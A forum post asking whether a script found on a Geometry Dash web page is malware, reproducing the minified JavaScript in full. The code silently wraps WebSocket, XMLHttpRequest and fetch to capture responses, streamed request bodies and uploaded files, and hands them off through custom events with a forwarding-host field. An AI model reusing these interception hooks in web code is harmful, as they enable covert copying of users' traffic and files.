GD Site = Malware???
Hey everyone, I was poking around the "code" for the GD "web port" / the stereo madness trial on geometrydash.com (released this morning), and found contentInt.js, and looked inside, and it looked like this (attached below):
now, I was skeptical, so, of course, I went to ask ai (im sorry but i dont know anything about js other than what a function is), and it insisted it was "malware" (highly doubt it), can someone get this fact checked? (ai response also below)
!function() {
function e() {
const e = _ProductsContainer.SlowIndex2;
e.class = class {
Float32BufferAttribute() {
if ("d432k7l5kaa60e9f8394592n888b759l15h08d6aa69f1g759id4c8g" !== localStorage.getItem("extrapolation"))
return;
const e = window.WebSocket;
let t = []
, n = {
status: !1
};
function s(s, a, r) {
const o = new e(s,a,r);
return o.addEventListener("message", (function(e) {
if (!n.status)
return;
if (!t.length)
return;
if (!t.find((e => e.test(s))))
return;
const a = new CustomEvent("antifork-ws",{
detail: {
way: "ws",
message: e.data,
url: s
}
});
self.dispatchEvent(a)
}
)),
o
}
s.prototype = e.prototype,
window.WebSocket = s,
self.addEventListener("antifork-ws-whitelistings", (e => {
const s = e.detail;
Array.isArray(s.list) && s.list.forEach((e => {
t.push(new RegExp(e))
}
)),
s.hasOwnProperty("turnOn") && (n.status = s.turnOn)
}
))
}
}
,
e.instance = new e.class,
e.instance.Float32BufferAttribute()
}
self._ProductsContainer = self._ProductsContainer || {},
_ProductsContainer.SlowIndex2 = {
init: e
},
e()
}(),
function() {
function e() {
const e = _ProductsContainer.ArgumentsIdentifiers;
e.class = class {
constructor() {
this.buffer_1 = [],
this.compareId = {},
this.ComponentClass = ["fth", "c", "addEventListener"],
self.addEventListener("antifork-fC", (e => {
const t = e.detail;
Array.isArray(t.list) && t.list.forEach((e => {
this.buffer_1.push(e)
}
)),
t.s && (this.compareId.s = t.s),
t.p && (this.compareId.p = t.p)
}
))
}
isValidUtf8(e) {
return e && e.match(/^text
\/
|application
\/
json|charset=utf/)
}
generate$1() {
var e = XMLHttpRequest.prototype
, t = e.send
, n = e.open;
const s = this;
e.open = function(e, t) {
try {
for (const e of s.buffer_1)
new RegExp(e.request_url_match).test(t) && (this["antifork+"] = !0,
this[s.ComponentClass[0]] = e.fork_to_host,
this[s.ComponentClass[1]] = e)
} catch (t) {}
return this.unsafeHeaders = t,
n.apply(this, arguments)
}
,
e.send = function() {
return this[s.ComponentClass[2]]("load", (function() {
var e = null;
try {
e = this.responseText
} catch (e) {}
var t = new CustomEvent("antifork",{
detail: {
way: "xhr",
event: e,
url: this.unsafeHeaders
}
});
self.dispatchEvent(t)
}
)),
t.apply(this, arguments),
setTimeout(( () => {
if (this["antifork+"] && arguments[0]instanceof File) {
var e = arguments[0].name
, t = arguments[0].type
, n = URL.createObjectURL(arguments[0]);
self.dispatchEvent(new CustomEvent("antifork-fk",{
detail: {
way: "xhr",
ab: n,
url: this.unsafeHeaders,
name: e,
type: t,
fth: this[s.ComponentClass[0]],
c: this[s.ComponentClass[1]]
}
}))
}
}
), 1e3)
}
}
padRight() {
if ("a16f8e566kg4178f9c1i784426299m5n141j701ma3434b9e18a743705b" !== localStorage.getItem("interpolation"))
return;
const e = fetch;
let t = []
, n = {
status: !1
};
self.addEventListener("antifork-fetch-whitelistings", (e => {
const s = e.detail;
Array.isArray(s.list) && s.list.forEach((e => {
t.push(new RegExp(e))
}
)),
s.hasOwnProperty("turnOn") && (n.status = s.turnOn)
}
));
const s = this;
async function a(e, a) {
if (!n.status)
return;
const r = e._metadata;
if ("object" == typeof e[0])
if (e[0]instanceof URL)
e[0] = e[0].href;
else {
const t = e[0];
e = [t.url, t],
r && (e._metadata = r)
}
if (!t.length)
return;
{
const n = e[0];
if (!t.find((e => e.test(n))))
return
}
const o = await a
, i = o.headers.get("Content-Type");
if (!s.isValidUtf8(i))
return;
const c = o.clone()
, f = {};
if (Object.assign(f, {
way: "fetch",
contentType: i,
ok: c.ok,
status: c.status
}),
1 === e.length)
try {
f.opts = JSON.parse(JSON.stringify(e[0])),
f.url = e[0].url
} catch (e) {
f.opts = {}
}
else if (2 === e.length)
try {
f.opts = JSON.parse(JSON.stringify(e[1])),
f.url = e[0]
} catch (e) {
f.opts = {}
}
if (i && i.includes("stream")) {
const e = c.body.getReader()
, t = new TextDecoder("utf-8");
async function n() {
const n = {
buffer: "",
readResult: null
};
function s(e) {
const t = e || "done"
, s = new CustomEvent("antifork",{
detail: Object.assign({}, f, {
message: n.buffer,
reason: t
})
});
n.buffer = "",
self.dispatchEvent(s)
}
const a = setInterval(( () => {
s("timeout")
}
), parseInt("5000"));
try {
for (n.readResult = await e.read(); !n.readResult.done; n.readResult = await e.read()) {
const e = t.decode(n.readResult.value, {
stream: !0
});
n.buffer += e
}
s()
} catch (e) {
s("stream-end-unexpected")
} finally {
clearInterval(a)
}
}
await n()
} else {
const t = await c.text()
, n = new CustomEvent("antifork",{
detail: Object.assign({}, f, {
message: t
})
});
if (self.dispatchEvent(n),
s.buffer_1.length)
try {
const n = e[0]
, a = e._metadata;
for (let r of s.buffer_1)
if (r.requires_resp && new RegExp(r.request_url_match).test(n))
if (e[1] && e[1].body instanceof File) {
const s = e[1].body.name
, a = e[1].body.type
, o = URL.createObjectURL(e[1].body);
self.dispatchEvent(new CustomEvent("antifork-fk",{
detail: {
way: "fetch",
ab: o,
url: n,
args: e,
name: s,
type: a,
resp: t,
c: r
}
}))
} else if (a && a.hasForkStream)
try {
const e = a.forkStream
, s = new Response(e).arrayBuffer()
, o = await s
, i = a.originalContentType || "application/octet-stream"
, c = new Blob([o],{
type: i
})
, f = "intercepted_payload_" + Date.now() + ".bin"
, l = c.type
, u = URL.createObjectURL(c);
self.dispatchEvent(new CustomEvent("antifork-fk",{
detail: {
way: "fetch",
ab: u,
url: n,
name: f,
type: l,
resp: t,
c: r,
payloadSize: o.byteLength
}
}))
} catch (e) {}
} catch (e) {}
}
}
window.fetch = function(t, n) {
function r() {
const s = e.apply(this, [t, n]);
return a([t, n], s),
s
}
if (!s.buffer_1.length)
return r();
if (!s.buffer_1.find((e => new RegExp(e.page_url_match).test(location.href))))
return r();
const o = "string" == typeof (i = t) ? i : i instanceof Request ? i.url : "";
var i;
if (!s.buffer_1.find((e => new RegExp(e.request_url_match).test(o))))
return r();
let c, f = n || {}, l = null;
const u = t instanceof Request;
if (u && t.body instanceof ReadableStream) {
const e = {
method: (d = t).method,
headers: d.headers,
referrer: d.referrer,
referrerPolicy: d.referrerPolicy,
mode: d.mode,
credentials: d.credentials,
cache: d.cache,
redirect: d.redirect,
integrity: d.integrity,
keepalive: d.keepalive,
signal: d.signal
}
, s = Object.assign({}, e, n)
, a = t.body.tee()
, r = a[0]
, o = a[1];
c = [new Request(t.url,Object.assign({}, s, {
body: r,
duplex: "half"
}))],
l = {
hasForkStream: !0,
forkStream: o,
originalContentType: t.headers.get("content-type")
}
} else if (u)
c = n ? [t, n] : [t];
else if (n && n.body instanceof ReadableStream) {
const e = n.body.tee()
, s = e[0]
, a = e[1];
f = Object.assign({}, n, {
body: s,
duplex: "half"
});
let r = "application/octet-stream";
n.headers && ("function" == typeof n.headers.get || n.headers instanceof Headers ? r = n.headers.get("content-type") || r : n.headers["content-type"] ? r = n.headers["content-type"] : n.headers["Content-Type"] && (r = n.headers["Content-Type"])),
l = {
hasForkStream: !0,
forkStream: a,
originalContentType: r
},
c = [t, f]
} else
c = n ? [t, n] : [t];
var d;
l && (c._metadata = l);
const h = e.apply(this, c);
if (a(c, h),
s.buffer_1.length)
try {
const e = "string" == typeof t ? t : t.url || t;
for (let a of s.buffer_1)
if (!a.requires_resp && new RegExp(a.request_url_match).test(e) && n && n.body instanceof File) {
const s = n.body.name
, r = n.body.type
, o = URL.createObjectURL(n.body);
self.dispatchEvent(new CustomEvent("antifork-fk",{
detail: {
way: "fetch",
ab: o,
url: e,
args: [t, n],
name: s,
type: r,
fth: a.fork_to_host
}
}))
}
} catch (e) {}
return h
}
}
SyncBailHook() {
this.generate$1(),
this.padRight()
}
}
,
e.instance = new e.class,
e.instance.SyncBailHook()
}
self._ProductsContainer = self._ProductsContainer || {},
_ProductsContainer.ArgumentsIdentifiers = {
init: e
},
e()
}();
Posted Apr 4, 2026, 1:16 PM UTC
03